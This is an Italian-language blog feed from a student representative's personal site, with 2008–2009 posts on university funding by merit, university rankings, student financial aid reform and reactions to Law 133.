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	<title>Plescia.it</title>
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	<description>il sito di Nicola Plescia</description>
	<pubDate>Tue, 03 Nov 2009 17:22:38 +0000</pubDate>
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		<title>Finanziamenti statali distribuiti secondo il Merito: Analisi, Pro e Contro del modello</title>
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		<pubDate>Tue, 03 Nov 2009 17:22:38 +0000</pubDate>
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		<description><![CDATA[Quest’anno, per la prima volta dopo lungo tempo, una quota significativa dei finanziamenti statali (7% del FFO, percentuale destinata a crescere nel tempo) verrà distribuita secondo criteri di Merito in funzione dei quali vengono valutate gli Atenei del Sistema Universitario italiano.
Per quanto sia un passo importante verso la valorizzazione di quegli atenei che hanno intrapreso [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Quest’anno, per la prima volta dopo lungo tempo, una quota significativa dei finanziamenti statali (7% del FFO, percentuale destinata a crescere nel tempo) verrà distribuita secondo criteri di Merito in funzione dei quali vengono valutate gli Atenei del Sistema Universitario italiano.</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Per quanto sia un passo importante verso la valorizzazione di quegli atenei che hanno intrapreso la via della qualità, è necessario sottolineare importanti criticità che si sono evidenziate nel modello usato, a questo proposito vi invito a prendere lettura della mozione redatta dal CNSU in seduta del 9 ottobre 2009.</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Per quanto siano molto numerose le osservazioni da arrecare in merito mi limito a dare ragione di una prima criticità, dando la mia disponibilità per qualunque domanda o osservazione.</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Ai fine di una migliore comprensione, va in primo luogo mostrato come la classifica pubblicata il 24 Luglio dal MiUR non sia la risultante del solo calcolo dei criteri di “merito” ma è una classifica definita sull’intera erogazione del Fondo di Finanziamento Ordinario, pertanto non corrispondente agli obiettivi condivisibili che il Ministero si era proposto nelle linee guida.</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">È immediato osservare come si discosti significativamente quest’ultima da quella effettivamente redatta a partire dai criteri di merito individuati dal Comitato Nazionale di Valutazione del Sistema Universitario (frutto di una elaborazione di dati ministeriali).</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">A questo proposito inserisco in allegato:</font></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 0pt 36pt" class="MsoListParagraphCxSpFirst"><span><span><font face="Calibri">-</font><span style="font: 7pt 'Times New Roman'">          </span></span></span><font face="Calibri"><a href="http://www.plescia.it/wp-content/uploads/2009/11/mozione-ffo-9-ottobre-2009.pdf" title="mozione-ffo-9-ottobre-2009.pdf">Mozione CNSU - 9 ottobre 2009</a></font></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 0pt 36pt" class="MsoListParagraphCxSpMiddle"><span><span><font face="Calibri">-</font><span style="font: 7pt 'Times New Roman'">          </span></span></span><font face="Calibri"><a href="http://programmazione-triennale.cineca.it/report/home_indicatori.php">Documento CNVSU – Individuazione dei Criteri di Merito</a></font></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 0pt 36pt" class="MsoListParagraphCxSpMiddle"><span><span><font face="Calibri">-</font><span style="font: 7pt 'Times New Roman'">          </span></span></span><font face="Calibri"><a href="http://www.corriere.it/Primo_Piano/Cronache/2009/07/24/pop_universita.shtml">Classifica pubblicata il 24 luglio 2009 dal MiUR</a></font></p>
<p style="text-indent: -18pt; margin: 0cm 0cm 10pt 36pt" class="MsoListParagraphCxSpLast"><span><span><font face="Calibri">-</font><span style="font: 7pt 'Times New Roman'">          </span></span></span><font face="Calibri"><a href="http://www.plescia.it/wp-content/uploads/2009/11/qt.pdf" title="qt.pdf"><font color="#000000">Classifica degli Atenei secondo il Quoziente di “Merito”</font></a></font></p>
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		<title>Classifiche internazionali: Buone e cattive notizie, ma soprattutto qualche spunto su cui riflettere…</title>
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		<pubDate>Tue, 13 Oct 2009 23:13:28 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[Rassegna Stampa]]></category>

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		<description><![CDATA[
Inserisco di seguito un articolo molto utile ed interessante in fatto di valutazione: validi spunti di riflessione a partire dal confronto tra il rapporto del “Times Higher Education Supplement”, classifica internazionale delle migliori università, e lo Staring Grant 2009, ricco bando per borse di ricerca.
UNIVERSITA’/ Chiosso: atenei italiani tra i peggiori al mondo. Ma chi [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Calibri"></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal">Inserisco di seguito un articolo molto utile ed interessante in fatto di valutazione: validi spunti di riflessione a partire dal confronto tra il<em> </em>rapporto<em> </em>del<em> “Times Higher Education Supplement”</em>, classifica internazionale delle migliori università, e lo<em> Staring Grant 2009</em>, ricco bando per borse di ricerca.</p>
<p><em><font face="Calibri"><strong>UNIVERSITA’/ Chiosso: atenei italiani tra i peggiori al mondo. Ma chi fa le classifiche?</strong></font></em></p>
<p></font><em><font face="Calibri"><o:p></o:p></font></em><em><font face="Calibri">In questi giorni sono rimbalzate sui giornali due notizie di segno molto diverso, una non buona e un’altra invece molto positiva.<o:p></o:p></font></em><em><font face="Calibri">La prima giunge dall’annuale rapporto del “Times Higher Education Supplement” sullo stato di salute delle Università nel mondo. </font></em><em><font face="Calibri">Dalla classifica stilata dalla prestigiosa pubblicazione inglese gli Atenei italiani escono, come peraltro era già accaduto negli anni passati, piuttosto male.<br />
<o:p></o:p></font></em><em><font face="Calibri">Nessuna Università italiana rientra tra le prime 150 nel mondo e per trovarne una occorre scorrere la graduatoria fino al 174° posto (Bologna) e al 205° (Roma La Sapienza). Nella speciale graduatoria degli “atenei tecnici” il Politecnico di Milano sta un po’ meglio (intorno alla 50° posizione, dato per ora ufficioso), ma nella classifica generale anche il Politecnico lombardo sprofonda nella mediocrità (280° posto).<br />
<o:p></o:p></font></em><em><font face="Calibri">I primi dieci posti sono contesi dalla più prestigiose Università statunitensi (6) e britanniche (4) con Harvard, Cambridge e Yale che si dividono i primi tre posti. In leggera ascesa la presenza degli atenei asiatici (da 14 a 16 segnalazioni nelle prime 150 posizioni) e di quelli europei (da 36 a 39), in modesta flessione quelli americani (da 42 a 39).</font></em><em><font face="Calibri"><o:p></o:p></font></em><em><font face="Calibri">La seconda notizia, quella buona, ci dice che i giovani ricercatori italiani partecipanti allo Staring Grant 2009, l’ambitissimo bando dello European Research Council (un bando da 325 milioni di euro con borse per ricerca che vanno da 500 mila a 2 milioni di euro, mentre da noi i finanziamenti si attestano, quando va bene, al massimo intorno ai 100 mila euro), sono riusciti nella riguardevole impresa di aggiudicarsi il maggior numero di finanziamenti e risultare primi, insieme ai loro coetanei tedeschi, nella graduatoria relativa alla distribuzione dei fondi. Dopo di noi i giovani ricercatori francesi, belgi e olandesi. Soltanto al sesto posto gli studiosi britannici, molto più indietro quelli statunitensi.</font></em><em><font face="Calibri"><o:p></o:p></font></em><em><font face="Calibri">Queste due notizie sembrano riferirsi a due realtà totalmente diverse.<br />
</font></em><em><font face="Calibri">Da una parte la segnalazione di un sistema universitario in affanno e in sostanza mediocre se comparato con le prestazioni di altri Paesi, dall’altra la constatazione che questo medesimo sistema riesce ugualmente a formare giovani di valore che, almeno a livello europeo, riescono ad essere altamente competitivi con i loro coetanei.</font></em><em><font face="Calibri">Ho provato a stilare una lista di ragioni per cercare quella che a prima vista sembrerebbe una insanabile contraddizione.<br />
</font></em><em><font face="Calibri">a) In Italia nascono persone più intelligenti rispetto al resto d’Europa che riescono a raggiungere ottimi risultati pur non disponendo di scuole e Università particolarmente qualificate (ipotesi improbabile e soprattutto un po’ difficile da dimostrare sul piano statistico).<br />
<o:p></o:p></font></em><em><font face="Calibri">b) Il solito stellone aiuta gli Italiani nelle situazioni più difficili, dalle partite di calcio vinte fortunosamente all’ultimo minuto alla fantasia che notoriamente sappiamo mettere in campo quando alle corde (spiegazione debole perché nel caso dell’ European Research Council non siamo in uno stadio e la fantasia non c’entra con l’assegnazione dei fondi di ricerca).<br />
<o:p></o:p></font></em><em><font face="Calibri">c) Le graduatorie stilate dal “Times Higher Education Supplement” si basano su indicatori che penalizzano gli atenei italiani (è la tesi sostenuta, per esempio, dal prof. Decleva, presidente dei Rettori delle Università italiane, secondo cui i criteri di valutazione sarebbero troppo “anglocentrici” a danno delle Università di tradizione latina e di lingua non inglese).<br />
<o:p></o:p></font></em><em><font face="Calibri">d) Non abbiamo ancora capito come funzionano i meccanismi di valutazione e dunque incappiamo in errori ingenui nel fornire i dati (è possibile, ma non al punto da penalizzarci in modo così vistoso).<br />
</font></em><em><font face="Calibri"><o:p></o:p></font></em><em><font face="Calibri">Personalmente sono convinto che ci sia un’altra motivazione.<br />
</font></em><em><font face="Calibri">Abbiamo tanti giovani in gamba perché in Italia ci sono ancora, per nostra fortuna, tanti “maestri” che sanno trasmettere non solo conoscenze, competenze, pratiche metodologiche d’avanguardia, tutte condizioni strategiche per intraprendere l’alta ricerca, ma anche passione e costanza nello studio, capacità di sacrificio, desiderio di riuscire, soprattutto la speranza in un futuro migliore.<o:p></o:p></font></em><em><font face="Calibri">Ho detto “maestri” e non insegnanti, perché solo i “maestri” a tutto tondo – quelli che una certa insopportabile retorica vorrebbe mettere in naftalina per garantire che ciascuno si possa “fare da sé” – sono capaci di mobilitare le potenzialità più autentiche e più vere dei giovani.<o:p></o:p></font></em></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri"><br />
Giorgio Chiosso - Lunedì 12 ottobre 2009<br />
tratto da ilsussidiario.net</font></p>
<p><o:p><font face="Calibri"> </font></o:p></p>
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		<title>Classifica Università virtuose de “Il Sole 24 Ore”: PoliMi davanti a tutti.</title>
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		<pubDate>Sat, 10 Oct 2009 09:47:04 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[News e Resoconti dal CNSU]]></category>

		<category><![CDATA[Rassegna Stampa]]></category>

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		<description><![CDATA[13 luglio 2009
Ciclicamente si rivedono sulle pagine dei giornali tentativi di classificare secondo criteri di merito le università del territorio Italiano. I criteri cambiano, gli editori anche, ma si possono individuare importanti costanti, come ad esempio la regolare presenza del PoliMi in cima a queste valutazioni.
Proponiamo di seguito in allegato la classifica recentemente redatta da [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri"><em>13 luglio 2009</em></font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Ciclicamente si rivedono sulle pagine dei giornali tentativi di classificare secondo criteri di merito le università del territorio Italiano. I criteri cambiano, gli editori anche, ma si possono individuare importanti costanti, come ad esempio la regolare presenza del PoliMi in cima a queste valutazioni.</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Proponiamo di seguito in allegato la classifica recentemente redatta da “Il Sole 24 ore” (Articolo + classifica complessiva + classifiche parziali per criterio).</font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">I criteri adottati sono i seguenti:</font></p>
<p><font face="Calibri"><strong>Affollamento:</strong><br />
<em>Rapporto tra Studenti in corso e docenti in ruolo (calcolando 1 gli Ordinari, 0.7 gli Associati e 0.5 i Ricercatori e correggendo il numero degli immatricolati secondo il fattore di dispersione atteso)<o:p></o:p></em></font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri"><strong>Occupati a 3 anni: </strong><br />
<em>Dati Istat riferiti ai laureati 2004</em></font></p>
<p><font face="Calibri"><strong>Ricerca/Personale: </strong><br />
<em>% dei docenti di ruolo che hanno ricevuto un giudizio positivo su Prin d’Ateneo<o:p></o:p></em></font><font face="Calibri"><strong>Ricerca/Fondi:</strong><br />
<em>Disponibilità economica per la ricerca scientifica per ogni docente di ruolo<o:p></o:p></em></font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri"><strong>Ricerca/Fondi Esterni:<br />
</strong><em>% di entrate per la ricerca provenienti da enti esterni</em></font></p>
<p><font face="Calibri"><o:p> </o:p></font><font face="Calibri"><o:p>Scarica l&#8217;articolo con le classifiche:   <a href="http://www.plescia.it/wp-content/uploads/2009/10/universita-migliori-il-sole-24-ore.pdf" title="Classifica Università Migliori - Il Sole 24 Ore">Classifica Università Migliori - Il Sole 24 Ore</a></o:p></font><font face="Calibri"><o:p> </o:p></font><font face="Calibri"><o:p></o:p></font> </p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal">   </p>
<p><font face="Calibri"><o:p></o:p></font> </p>
]]></content:encoded>
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		<title>Analisi e proposte per il Sistema di Diritto allo Studio Universitario</title>
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		<pubDate>Sat, 10 Oct 2009 09:23:49 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[News e Resoconti dal CNSU]]></category>

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		<description><![CDATA[Pubblico su questo sito il paper da me redatto dal titolo: “Diritto allo studio universitario: tra merito e autonomia”.
Questo testo rappresenta un importante punto di sintesi del lavoro svolto in questi anni nella commissione Diritto allo Studio in seno al Consiglio Nazionale degli Studenti Universitari, inserisco di seguito l’abstract  del paper:
Il sistema di Diritto allo [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Calibri">Pubblico su questo sito il paper da me redatto dal titolo: <em>“Diritto allo studio universitario: tra merito e autonomia”.<o:p></o:p></em></font></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><font face="Calibri">Questo testo rappresenta un importante punto di sintesi del lavoro svolto in questi anni nella commissione Diritto allo Studio in seno al Consiglio Nazionale degli Studenti Universitari, inserisco di seguito l’abstract<span>  </span>del paper:</font></p>
<p><em><font face="Calibri">Il sistema di Diritto allo Studio è l’espressione fondamentale del grado di civilizzazione di un paese. Garantire il raggiungimento dei più alti livelli di studio ai meritevoli è infatti il principale obiettivo strategico di una nazione.<o:p></o:p></font></em><em><font face="Calibri">Il Diritto allo Studio Italiano è concepito ad oggi in modo assistenzialistico e tutt’altro che strategico; anziché essere concepito come sussidio per valorizzare il potenziale umano risulta al contrario un obsoleto sistema di redistribuzione acritica di fondi statali.<o:p></o:p></font></em><em><font face="Calibri">È dunque fondamentale una decisa inversione di tendenza affinché l’enorme potenziale sottovalutato di questo strumento diventi finalmente efficace come già in molti paesi avviene.<o:p></o:p></font></em></p>
<p style="margin: 0cm 0cm 10pt" class="MsoNormal"><em><font face="Calibri">Il presente paper - all&#8217;esito di un’analisi la cui ampiezza ha dovuto necessariamente scendere a compromessi con la brevità dello spazio disponibile - propone una strada di rinnovamento del sistema fondata su merito ed autonomia.</font></em></p>
<p><font face="Calibri">Scarica il testo:    </font><font face="Calibri"><a href="http://www.plescia.it/wp-content/uploads/2009/10/paper-dsu-fnp.pdf" title="Paper Diritto allo Studio">Paper Diritto allo Studio</a></font></p>
<p><font face="Calibri"><o:p></o:p></font> </p>
]]></content:encoded>
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		</item>
		<item>
		<title>Audizione in Parlamento sulla situazione universitaria</title>
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		<pubDate>Sat, 29 Nov 2008 17:25:19 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[News e Resoconti dal CNSU]]></category>

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		<description><![CDATA[
Palazzo Madama, Senato della Repubblica
Martedì 19 novembre 2007, Roma 
&#160;
Quest&#8217;oggi la Commissione del Senato “Istruzione pubblica, beni culturali, ricerca scientifica” ha dato audizione al Consiglio Nazionale degli Studenti Universitari
In qualità di membro dell’Ufficio di Presidenza, ho potuto esprimere in quella sede la posizione in merito all’attuale situazione del sistema universitario.

Il discorso si è concentrato su [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.plescia.it/wp-content/uploads/2008/11/senato.jpg" title="senato.jpg"><img align="left" width="304" src="http://www.plescia.it/wp-content/uploads/2008/11/senato.jpg" alt="senato.jpg" height="205" /></a></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><em>Palazzo Madama, Senato della Repubblica</em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><em>Martedì 19 novembre 2007, Roma </em></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">&nbsp;</p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">Quest&#8217;oggi <st1:personname productid="la Commissione" w:st="on">la Commissione</st1:personname> del Senato “Istruzione pubblica, beni culturali, ricerca scientifica” ha dato audizione al Consiglio Nazionale degli Studenti Universitari</p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">In qualità di membro dell’Ufficio di Presidenza, ho potuto esprimere in quella sede la posizione in merito all’attuale situazione del sistema universitario.</p>
<p><o:p></o:p></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">Il discorso si è concentrato su due temi fondamentali: il <em>sistema di Diritto allo Studio</em> e la <em>valutazione</em>.</p>
<p><o:p><u></u></o:p></p>
<ul type="disc" style="margin-top: 0cm">
<li style="margin: 0cm 0cm 0pt" class="MsoNormal">L’attuale <strong>sistema di DSU</strong> è affetto da un grave malfunzionamento: l’attuazione dell’articolo 34 (“I capaci e meritevoli, anche se privi di mezzi, hanno diritto di raggiungere i gradi più alti degli studi”) risulta attualmente sbilanciata verso l’aspetto della condizione economica senza che venga dato adeguato valore alle capacità del singolo. I 20 CFU richiesti quale requisito per l’idoneità non sono affatto in grado di individuare la parte di studenti realmente meritevole. Il sistema dunque si configura con una connotazione puramente assistenzialista.</li>
<li style="margin: 0cm 0cm 0pt" class="MsoNormal"><span style="color: black">Per rispettare l’essenza dell’università, la sua <strong>valutazione è per natura distinta tra ricerca e didattica</strong>. L’attuale sistema universitario, tuttavia, non ha mai fatto i conti con una effettiva valutazione, se non approssimativa e autoreferenziale. </span>
<ul type="circle" style="margin-top: 0cm">
<li style="margin: 0cm 0cm 0pt" class="MsoNormal"><strong><span style="color: black">Valutazione della Ricerca:</span></strong><span style="color: black"> seguire l’esempio positivo del Politecnico di Milano, nel 2007 si è reso disponibile ad una valutazione dei propri progetti di ricerca da parte di un ente esterno ed internazionale. Questo sistema si stacca per primo dalla logica perversa di una situazione in cui il valutatore coincide con il valutato</span></li>
<li style="margin: 0cm 0cm 0pt" class="MsoNormal"><strong><span style="color: black">Valutazione della didattica:</span></strong><span style="color: black"> chi meglio degli studenti è nelle condizioni di esprimere un giudizio in merito al gradimento e alla qualità dell’offerta formativa erogata dai propri docenti e dunque dall’università di appartenenza?<br />
Come nella valutazione interna riteniamo fondamentale la valorizzazione dei questionari della didattica, così a livello nazionale la scelta degli stessi studenti può fornire un indicatore di qualità dei vari atenei qualora sia garantita loro una reale libertà di scelta, primo obiettivo del sistema di Diritto allo Studio. Dove la mobilità degli studenti è davvero possibile, infatti, risulta immediato l’imporsi di una <em>ratio </em>meritocratica. </span></li>
</ul>
</li>
</ul>
<p><span style="color: black"><o:p></o:p></span></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">Inserisco in allegato il testo dell’intervento di Nicola Plescia e del Presidente del CNSU, Diego Celli.</p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">&nbsp;</p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><img border="0" width="10" src="http://www.plescia.it/immagini/freccia.gif" alt="&gt;&gt;" height="10" /> <a href="http://www.plescia.it/wp-content/uploads/2008/11/intervento-senato_prescnsu.pdf" title="Intervento del Presidente del CNSU, Diego Celli">Intervento del Presidente del CNSU, Diego Celli</a></p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal">&nbsp;</p>
<p style="margin: 0cm 0cm 0pt" class="MsoNormal"><img border="0" width="10" src="http://www.plescia.it/immagini/freccia.gif" alt="&gt;&gt;" height="10" /> <a href="http://www.plescia.it/wp-content/uploads/2008/11/intervento-senato_plescia.pdf">Intervento di Nicola Plescia</a><u><font color="#0000ff">, Ufficio di Presidenza </font></u></p>
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		</item>
		<item>
		<title>Inaugurazione del 146° Anno Accademico del PoliMI: Lista Aperta c&#8217;è!</title>
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		<pubDate>Tue, 04 Nov 2008 16:09:04 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[Consiglio della Prima Facoltà]]></category>

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		<description><![CDATA[Inserisco di seguito il comunicato stampa di Lista Aperta in merito all&#8217;Inaugurazione del 146° Anno Accademico del PoliMI.
Segnalo inoltre altri strumenti utili ad una corretta consocenza degli accadimenti, riportati in modo errato e parziale dalla gran parte dei media.

&#8220;Il circo mediatico fa tappa al Politecnico&#8221; di Lorenzo Margiotta (Rappresentate degli Studenti per Lista Aperta)
Foto dell&#8217;evento [...]]]></description>
			<content:encoded><![CDATA[<p>Inserisco di seguito il comunicato stampa di Lista Aperta in merito all&#8217;Inaugurazione del 146° Anno Accademico del PoliMI.</p>
<p>Segnalo inoltre altri strumenti utili ad una corretta consocenza degli accadimenti, riportati in modo errato e parziale dalla gran parte dei media.</p>
<ul>
<li><span id="ctl00_ContentBox_ArticleTitle"><a href="http://www.ilsussidiario.net/articolo.aspx?articolo=8126">&#8220;Il circo mediatico fa tappa al Politecnico&#8221;</a> di Lorenzo Margiotta (Rappresentate degli Studenti per Lista Aperta)</span></li>
<li><a href="http://www.poli-listaperta.it/default.asp?pagina=68&amp;cat=1&amp;evento=27">Foto dell&#8217;evento dal sito di Lista Aperta<br />
</a></li>
</ul>
<p><strong>Comunicato Stampa Lista Aperta - 3 novembre 2008</strong><br />
<em>Manca l&#8217;attesissimo ministro Gelmini ma all&#8217;inaugurazione dell&#8217;anno accademico del Politecnico di Milano continua il dibattito sulla Legge 133 e le sorti dell&#8217;università italiana.</p>
<p>Lista Aperta è presente per dire pubblicamente la propria posizione che esprime a chiare lettere con cinque striscioni: &#8220;Non è tempo di sospendere, ma di costruire&#8221;, &#8220;Non serve uscire in piazza, bisogna entrare nel merito&#8221;, &#8220;Tremonti, quando si pota un albero è per farlo crescere, non per farlo morire&#8221;, &#8220;Finché avremo fondi a pioggia, sull&#8217;università non splenderà mai il sole&#8221;, &#8220;La maggioranza è silenziosa se la si mette a tacere&#8221;.</p>
<p>Circa 300 tra rappresentanti degli studenti e sostenitori della lista, tutti studenti del Politecnico, hanno accolto pacificamente e ordinatamente gli invitati distribuendo il volantino del Coordinamento Liste per il Diritto allo Studio (<a href="http://www.clds.it/documenti/ComunicatoStampaCLDS.pdf" target="_BLANK">http://www.clds.it/documenti/ComunicatoStampaCLDS.pdf</a>) e un articolo che espone in quattro punti le direzioni di un serio progetto riformatore (<a href="http://www.ilsussidiario.net/articolo.aspx?articolo=7938" target="_BLANK">http://www.ilsussidiario.net/articolo.aspx?articolo=7938</a>): libertà nella gestione del turn-over per le università che rispettano la soglia del 90% del FFO per spese di personale; nuove norme in materia di reclutamento docenti; selezione delle eccellenze; razionalizzazione del numero degli atenei. </em></p>
<p><em>Niente a che vedere con le proteste di piazza viste in queste settimane. Crediamo che in questo momento di difficoltà dobbiamo assumerci più responsabilità e non meno: siamo contrari a qualsiasi forma di occupazione o sospensione della didattica di cui sarebbero per primi gli studenti a fare le spese. Per questo motivo abbiamo anche espresso solidarietà al rettore Ballio con il quale è in corso un confronto proficuo su questi temi e che ha dimostrato un atteggiamento costruttivo.</em></p>
<p><em> </em></p>
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		<title>Mozione del Consiglio Nazionale degli Studenti Universitari in seguito alla Legge 133 del 2008 e successivi accadimenti</title>
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		<pubDate>Tue, 04 Nov 2008 15:55:41 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[News e Resoconti dal CNSU]]></category>

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		<description><![CDATA[Nella giornata di ieri, lunedì 3 novembre ’08, il Consiglio Nazionale degli Studenti Universitari è stato convocato d’urgenza per esprimere un parere in merito ai provvedimenti sul sistema universitario inseriti nella legge 133 e gli accadimenti che ne sono susseguiti in questi giorni.
In particolare sottolineo: la contrarietà ai tagli indiscriminati e alle occupazioni e blocchi [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">Nella giornata di ieri, lunedì 3 novembre ’08, il Consiglio Nazionale degli Studenti Universitari è stato convocato d’urgenza per esprimere un parere in merito ai provvedimenti sul sistema universitario inseriti nella legge 133 e gli accadimenti che ne sono susseguiti in questi giorni.</p>
<p class="MsoNormal">In particolare sottolineo: la contrarietà ai tagli indiscriminati e alle occupazioni e blocchi della didattica lesive della libertà di tutti gli studenti, la richiesta di una riforma universitaria organica e del rientro dei tagli ai fondi per il Diritto allo Studio, la necessità di sbloccare il turn-over per quegli atenei al di sotto del 90% dell’FFO speso per i contratti a tempo indeterminato.</p>
<p class="MsoNormal">Buona lettura.</p>
<p><o:p>- </o:p><a href="http://www.plescia.it/wp-content/uploads/2008/11/parere_cnsu_su_legge_133.pdf" title="parere_cnsu_su_legge_133.pdf">parere_cnsu_su_legge_133.pdf</a></p>
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		<title>Scopri come fino ad ora è stato distribuito il Fondo statale alle Università&#8230;</title>
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		<pubDate>Fri, 31 Oct 2008 02:00:20 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[News e Resoconti dal CNSU]]></category>

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		<description><![CDATA[In questo momento di grande confusione e disinformazione, inserisco un vademecum che spiega sinteticamente la modalità adottata fin ora nel distribuire il Fondo di Finanziamento Ordinario (FFO), cioè la quasi totalità del &#8220;monte denaro&#8221; dato dallo stato per sostentare il sistema universitario Italiano (per intenderci, si tratta del fondo su cui incidono i tagli della [...]]]></description>
			<content:encoded><![CDATA[<p>In questo momento di grande confusione e disinformazione, inserisco un vademecum che spiega sinteticamente la <strong>modalità adottata fin ora nel distribuire il Fondo di Finanziamento Ordinario (FFO)</strong>, cioè la quasi totalità del &#8220;monte denaro&#8221; dato dallo stato per sostentare il sistema universitario Italiano (per intenderci, si tratta del fondo su cui incidono i tagli della finanziaria in via d&#8217;approvazione).</p>
<p>I dati e le informazioni inserite si riferisco a <strong>fonti ufficiali e ministeriali </strong>(sono presenti anche i riferimenti), sono dunque attendibili e utili ad orientarsi correttamente nelle discussioni di questi giorni.</p>
<p>Il vademecum, frutto sintetico di un approfondito studio in materia, lo ho completato nel luglio 2008, il giorno stesso in cui sono stati, per la prima volta, comunicati i tagli al sistema universitario all&#8217;interno della bozza della finanziaria per l&#8217;anno prossimo.</p>
<p>Buona informazione e per qualunque altro dubbio non esitate a chiedere!</p>
<p>- <a href="http://www.plescia.it/wp-content/uploads/2008/10/distribuzione-ffo.rar" title="distribuzione-ffo.rar">distribuzione-ffo.rar</a> (aprire come primo documento &#8220;vademecum FFO.doc&#8221;)</p>
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		<title>Scelte coraggiose di rinnovamento: non sono sostenibili posizioni di pura difesa dell&#8217;esistente (Pres. G.Napolitano)</title>
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		<pubDate>Fri, 24 Oct 2008 21:46:35 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[Consiglio della Prima Facoltà]]></category>

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		<description><![CDATA[Dopo i pesanti tagli imposti dal Ministero dell’economia con il decreto 112 da più parti si sostiene che il sistema universitario sia prossimo a dichiarare bancarotta. Dopo Alitalia, l’Università. In verità, la situazione per il prossimo anno accademico non è drammatica. Il fondo di finanziamento ordinario (FFO), infatti, viene tagliato di 63,5 Milioni a fronte [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Dopo i pesanti tagli imposti dal Ministero dell’economia con il decreto 112 da più parti si sostiene che il sistema universitario sia prossimo a dichiarare bancarotta. Dopo Alitalia, l’Università. In verità, la situazione per il prossimo anno accademico non è drammatica. Il fondo di finanziamento ordinario (FFO), infatti, viene tagliato di 63,5 Milioni a fronte di risparmi per i bilanci universitari di 218 Milioni (fonte <em>Sole24ore </em>del 12/9). Ma lo scenario cambia drasticamente a partire dal 2010. C’è dunque un anno di tempo per evitare il tracollo. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Che l’Università abbia bisogno di essere rinnovata è sotto gli occhi di tutti e non da oggi. Sebbene sia lecito dubitare che il primo passo di questo rinnovamento dovesse essere una “dieta” forzata per tutti gli atenei indistintamente, occorre prendere atto della necessità di avviare al più presto un processo di risanamento del sistema che ponga un freno ad un uso sconsiderato dell’autonomia da parte di molti atenei, ormai ad un passo dal fallimento.<o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">In particolare il destino dell’Università si gioca lungo un doppio binario che chiama in causa rispettivamente la responsabilità del Ministero e del Governo da una parte e quella delle università dall’altra. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Il Ministro Gelmini dovrebbe rompere il silenzio e dichiarare apertamente quali sono le linee guida secondo le quali intende muovere i primi passi per ridisegnare complessivamente il sistema. Tra i numerosi problemi sul tappeto devono essere affrontati con urgenza: la riforma dello stato giuridico dei docenti e dei meccanismi di reclutamento, il sistema di valutazione degli atenei e della ricerca (con conseguenti benefici economici che premino il merito), il diritto allo studio. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Il Governo dovrebbe inoltre lasciare libertà nella gestione del <em>turn-over </em>a quegli atenei che hanno spese di personale inferiori al 90% del FFO, concordando invece specifici piani di rientro con gli atenei con spese di personale superiori. Si tratta in sostanza di riformulare le regole del gioco, lasciando alle università il tempo e la possibilità concreta di partecipare alla competizione. <o:p></o:p></span></p>
